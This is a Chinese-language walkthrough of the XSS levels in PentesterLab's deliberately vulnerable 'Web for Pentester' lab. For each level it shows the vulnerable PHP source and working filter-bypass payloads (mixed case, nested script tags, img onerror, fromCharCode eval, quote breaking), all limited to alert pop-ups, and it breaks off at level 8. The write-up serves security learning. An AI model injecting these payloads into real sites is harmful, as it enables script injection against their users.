配置
官網:https://pentesterlab.com/
下載地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
安裝方法:虛擬機器按照,該靶場是封裝在debian系統裡,安裝完成開啟,ifconfig檢視ip地址:
然後直接訪問ip即可
web for pentester預設沒有root密碼,可以來設定密碼,方便ssh連線等檢視原始碼
sudo passwd
第一關
檢視原始碼:
<?php
echo $_GET["name"];
?>
分析:
沒有任何的過濾,直接將get獲取的列印
payload:
/xss/example1.php?name=
第二關
檢視原始碼:
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
分析:
這裡通過preg_replace()函式來正則,但是這種匹配是有缺陷的,沒有匹配大小寫,可以通過大小寫繞過
payload:
/xss/example2.php?name=<Script>alert('xss')</Script>
第三關
檢視原始碼:
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>
分析:
在第二關的基礎上加了/i,使之匹配不區分大小寫,preg_replace()函式將匹配到的,替換成空格,但是隻匹配了一次,類似sql注入(Seselectlect),可以巢狀<script>,匹配到了,替換成空格變成我們想要的了
payload:
/xss/example3.php?name=<sc<script>ript>alert('xss')</sc</script>ript>
第四關
檢視原始碼:
<?php require_once '../header.php';
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
分析:
對script進行了不區分大小寫,匹配如果匹配到,就執行die("error"),終止程式,所以scirpt不能用,只能通過其他標籤來觸發js事件,可使用onerror事件,來執行js
payload:
/xss/example4.php?name=<img src="xss" onerror=alert('xss')>
第五關
檢視原始碼:
<?php require_once '../header.php';
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
分析:
對alert進行了過濾
一.可以使用類似alert的方法來彈窗比如confirm,prompt
二.通過編碼繞過,String.fromCharCode()編碼來繞過,可以使用hackbar來快速編碼
、
payload:
/xss/example5.php?name=<script>confirm('xss')</script>
/xss/example5.php?name=<script>prompt('xss')</script>
/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
第六關
檢視原始碼:
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>
分析:
通過get的方式傳入name變數,輸入賦值給全域性變數a,可以通過閉合雙引號或者註釋雙引號來增加我們的js程式碼
payload:
/xss/example6.php?name=";alert('xss');"
/xss/example6.php?name=";alert('xss');//
第七關
檢視原始碼:
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
分析:
和第八關相似htmlentities()會把字元轉換為HTML實體,會將雙引號進行編碼,但不編碼單引號,這裡使用的是單引好所以可以繼續包含和註釋
payload:
/xss/example7.php?name=';alert('xss');'
/xss/example7.php?name=';alert('xss');//
第八關
檢視原始碼:
<?php
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
分析:
name變數通過form表單以post方式傳入,然後通過htmlentities函式實體化後輸出來,並未找到破解的方法。然後觀察